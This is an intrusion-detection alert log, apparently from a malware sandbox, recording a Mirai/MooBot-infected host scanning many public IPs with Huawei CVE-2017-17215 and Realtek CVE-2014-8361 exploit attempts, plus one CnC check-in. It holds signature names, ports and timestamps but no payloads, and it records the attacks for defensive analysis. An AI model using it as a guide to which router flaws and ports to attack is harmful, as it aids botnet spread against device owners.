Source Port:	60632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 31.243.118.35

Timestamp:	07/20/24-23:05:54.861468
SID:	2025132
Source Port:	32972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.164.234.103

Timestamp:	07/20/24-23:05:46.922964
SID:	2835222
Source Port:	60092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 186.151.11.189

Timestamp:	07/20/24-23:05:46.971186
SID:	2829579
Source Port:	59214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 46.81.190.204

Timestamp:	07/20/24-23:05:51.426748
SID:	2831300
Source Port:	59352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 73.83.129.52

Timestamp:	07/20/24-23:05:46.402022
SID:	2027339
Source Port:	34368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 131.82.186.16

Timestamp:	07/20/24-23:05:51.418369
SID:	2027339
Source Port:	50906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 66.105.78.156

Timestamp:	07/20/24-23:05:51.431946
SID:	2831300
Source Port:	60584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 169.161.129.199

Timestamp:	07/20/24-23:05:56.947922
SID:	2027339
Source Port:	58254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 121.40.224.141

Timestamp:	07/20/24-23:05:46.383281
SID:	2027339
Source Port:	51688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.32.42.40

Timestamp:	07/20/24-23:05:52.179209
SID:	2829579
Source Port:	42098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.135.46.253

Timestamp:	07/20/24-23:05:46.923415
SID:	2835222
Source Port:	38376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 80.0.23.33

Timestamp:	07/20/24-23:05:54.702850
SID:	2025132
Source Port:	54374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.60.209.210

Timestamp:	07/20/24-23:05:46.912775
SID:	2829579
Source Port:	50448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 136.24.70.56

Timestamp:	07/20/24-23:05:46.782475
SID:	2025132
Source Port:	59228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 4.63.192.169

Timestamp:	07/20/24-23:05:52.227948
SID:	2835222
Source Port:	42644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.87.142

Timestamp:	07/20/24-23:05:46.971186
SID:	2829579
Source Port:	53842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.46.239.156

Timestamp:	07/20/24-23:05:47.534459
SID:	2835222
Source Port:	54520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.204.86.68

Timestamp:	07/20/24-23:05:46.986114
SID:	2835222
Source Port:	33476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 169.161.129.199

Timestamp:	07/20/24-23:05:56.947922
SID:	2025132
Source Port:	58254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 132.142.106.204

Timestamp:	07/20/24-23:05:47.510743
SID:	2025132
Source Port:	41664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.135.182.144

Timestamp:	07/20/24-23:05:46.986114
SID:	2829579
Source Port:	38222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 39.125.186.30

Timestamp:	07/20/24-23:05:46.378444
SID:	2027339
Source Port:	46224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.5.59.32

Timestamp:	07/20/24-23:05:46.961659
SID:	2829579
Source Port:	54004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:05:49.918586
SID:	2030490
Source Port:	55944
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 2.142.69.163

Timestamp:	07/20/24-23:05:56.976613
SID:	2027339
Source Port:	36600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 136.24.70.56

Timestamp:	07/20/24-23:05:51.441209
SID:	2831300
Source Port:	59938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.158.242

Timestamp:	07/20/24-23:05:46.926640
SID:	2829579
Source Port:	50558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.236.2

Timestamp:	07/20/24-23:05:46.922963
SID:	2829579
Source Port:	34222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 114.46.14.97

Timestamp:	07/20/24-23:05:46.961659
SID:	2835222
Source Port:	42230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 79.205.6.73

Timestamp:	07/20/24-23:05:51.421877
SID:	2831300
Source Port:	56816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 73.83.129.52

Timestamp:	07/20/24-23:05:46.402022
SID:	2025132
Source Port:	34368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.31.112.192

Timestamp:	07/20/24-23:05:52.192507
SID:	2829579
Source Port:	40168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.173.158.111

Timestamp:	07/20/24-23:05:52.258489
SID:	2835222
Source Port:	46334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 149.223.236.152

Timestamp:	07/20/24-23:05:46.804194
SID:	2027339
Source Port:	37580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.130.210.47

Timestamp:	07/20/24-23:05:52.184799
SID:	2829579
Source Port:	47816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 121.40.224.141

Timestamp:	07/20/24-23:05:46.383281
SID:	2025132
Source Port:	51688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.131.198

Timestamp:	07/20/24-23:05:52.192507
SID:	2829579
Source Port:	35002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.76.12.119

Timestamp:	07/20/24-23:05:46.926640
SID:	2835222
Source Port:	42496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.99.124.156

Timestamp:	07/20/24-23:05:52.251312
SID:	2835222
Source Port:	37342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 121.40.224.141

Timestamp:	07/20/24-23:05:51.420131
SID:	2831300
Source Port:	52426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.17.54.113

Timestamp:	07/20/24-23:05:46.970753
SID:	2829579
Source Port:	37062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.210.143.52

Timestamp:	07/20/24-23:05:52.256968
SID:	2829579
Source Port:	43256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.183.204.53

Timestamp:	07/20/24-23:05:52.218581
SID:	2835222
Source Port:	53498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.221.20.7

Timestamp:	07/20/24-23:05:46.970753
SID:	2835222
Source Port:	34694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 185.61.229.112

Timestamp:	07/20/24-23:05:51.427522
SID:	2831300
Source Port:	39632
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 116.152.21.19

Timestamp:	07/20/24-23:05:46.551067
SID:	2025132
Source Port:	49270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 104.34.54.41

Timestamp:	07/20/24-23:05:47.524293
SID:	2027339
Source Port:	36832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 99.239.249.88

Timestamp:	07/20/24-23:05:52.212387
SID:	2835222
Source Port:	41452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.190.71.241

Timestamp:	07/20/24-23:05:46.981573
SID:	2835222
Source Port:	46640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.53.62.168

Timestamp:	07/20/24-23:05:52.212387
SID:	2835222
Source Port:	39486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 31.131.38.148

Timestamp:	07/20/24-23:05:54.841414
SID:	2025132
Source Port:	42524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.248.194.40

Timestamp:	07/20/24-23:05:47.534849
SID:	2829579
Source Port:	47602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.45.206.155

Timestamp:	07/20/24-23:05:52.258489
SID:	2829579
Source Port:	47662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 213.105.255.191

Timestamp:	07/20/24-23:05:51.461470
SID:	2831300
Source Port:	43868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.149.199.138

Timestamp:	07/20/24-23:05:52.218581
SID:	2829579
Source Port:	43786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 39.125.186.30

Timestamp:	07/20/24-23:05:46.378444
SID:	2025132
Source Port:	46224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.4.186

Timestamp:	07/20/24-23:05:52.227948
SID:	2835222
Source Port:	54242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 102.46.199.20

Timestamp:	07/20/24-23:05:46.789697
SID:	2025132
Source Port:	49348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.121.109

Timestamp:	07/20/24-23:05:52.311536
SID:	2835222
Source Port:	51044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 149.223.236.152

Timestamp:	07/20/24-23:05:46.804194
SID:	2025132
Source Port:	37580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 52.192.132.102

Timestamp:	07/20/24-23:05:46.915618
SID:	2835222
Source Port:	48028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.98.48.248

Timestamp:	07/20/24-23:05:52.269606
SID:	2835222
Source Port:	42908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 2.254.27.142

Timestamp:	07/20/24-23:05:54.786264
SID:	2025132
Source Port:	54002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.167.41.252

Timestamp:	07/20/24-23:05:52.179209
SID:	2829579
Source Port:	38096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 211.210.77.207

Timestamp:	07/20/24-23:05:52.256968
SID:	2829579
Source Port:	60644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.151.5.99

Timestamp:	07/20/24-23:05:46.915618
SID:	2829579
Source Port:	42962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.16.82.82

Timestamp:	07/20/24-23:05:46.918113
SID:	2835222
Source Port:	43666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 185.61.229.112

Timestamp:	07/20/24-23:05:51.427522
SID:	2027339
Source Port:	39632
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 105.38.165.57

Timestamp:	07/20/24-23:05:47.376869
SID:	2027339
Source Port:	55328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.193.234.170

Timestamp:	07/20/24-23:05:46.907723
SID:	2835222
Source Port:	48936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 205.216.169.243

Timestamp:	07/20/24-23:05:47.515143
SID:	2025132
Source Port:	48552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.173.78.130

Timestamp:	07/20/24-23:05:46.918114
SID:	2829579
Source Port:	34876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 152.36.106.192

Timestamp:	07/20/24-23:05:47.457457
SID:	2025132
Source Port:	55022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.233.207.44

Timestamp:	07/20/24-23:05:51.421136
SID:	2027339
Source Port:	41794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.89.46.226

Timestamp:	07/20/24-23:05:52.192507
SID:	2835222
Source Port:	46004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.121.201.134

Timestamp:	07/20/24-23:05:52.227948
SID:	2829579
Source Port:	41092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 66.55.166.211

Timestamp:	07/20/24-23:05:54.797953
SID:	2027339
Source Port:	42868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.71.252.128

Timestamp:	07/20/24-23:05:52.247739
SID:	2829579
Source Port:	53684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.212.97.34

Timestamp:	07/20/24-23:05:46.976752
SID:	2835222
Source Port:	36052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.227.128.193

Timestamp:	07/20/24-23:05:52.212387
SID:	2829579
Source Port:	47908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.250.31.164

Timestamp:	07/20/24-23:05:47.534849
SID:	2835222
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 142.15.8.195

Timestamp:	07/20/24-23:05:56.901109
SID:	2027339
Source Port:	59220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.132.215.240

Timestamp:	07/20/24-23:05:47.435150
SID:	2027339
Source Port:	34854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.183.255.235

Timestamp:	07/20/24-23:05:46.919504
SID:	2835222
Source Port:	39584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 121.95.140.123

Timestamp:	07/20/24-23:05:46.922963
SID:	2829579
Source Port:	44620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 144.242.91.152

Timestamp:	07/20/24-23:05:51.421493
SID:	2831300
Source Port:	39522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.1.154

Timestamp:	07/20/24-23:05:52.212387
SID:	2829579
Source Port:	43500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 213.105.255.191

Timestamp:	07/20/24-23:05:51.461470
SID:	2027339
Source Port:	43868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 35.16.104.164

Timestamp:	07/20/24-23:05:54.873671
SID:	2027339
Source Port:	60450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 32.90.4.32

Timestamp:	07/20/24-23:05:46.961659
SID:	2829579
Source Port:	43454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.19.78.216

Timestamp:	07/20/24-23:05:46.919504
SID:	2835222
Source Port:	39112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 132.142.106.204

Timestamp:	07/20/24-23:05:51.420040
SID:	2831300
Source Port:	42262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.65.179.96

Timestamp:	07/20/24-23:05:46.973669
SID:	2829579
Source Port:	58152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 2.254.27.142

Timestamp:	07/20/24-23:05:54.786264
SID:	2027339
Source Port:	54002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.147.59.60

Timestamp:	07/20/24-23:05:46.912775
SID:	2829579
Source Port:	34156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 101.73.4.16

Timestamp:	07/20/24-23:05:47.337367
SID:	2027339
Source Port:	38498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.35.92

Timestamp:	07/20/24-23:05:47.533810
SID:	2829579
Source Port:	36226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 36.180.172.129

Timestamp:	07/20/24-23:05:51.418349
SID:	2027339
Source Port:	43908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 145.164.204.137

Timestamp:	07/20/24-23:05:46.981573
SID:	2829579
Source Port:	45560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.90.91.61

Timestamp:	07/20/24-23:05:52.311537
SID:	2835222
Source Port:	56866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.248.18.125

Timestamp:	07/20/24-23:05:46.978420
SID:	2835222
Source Port:	57202
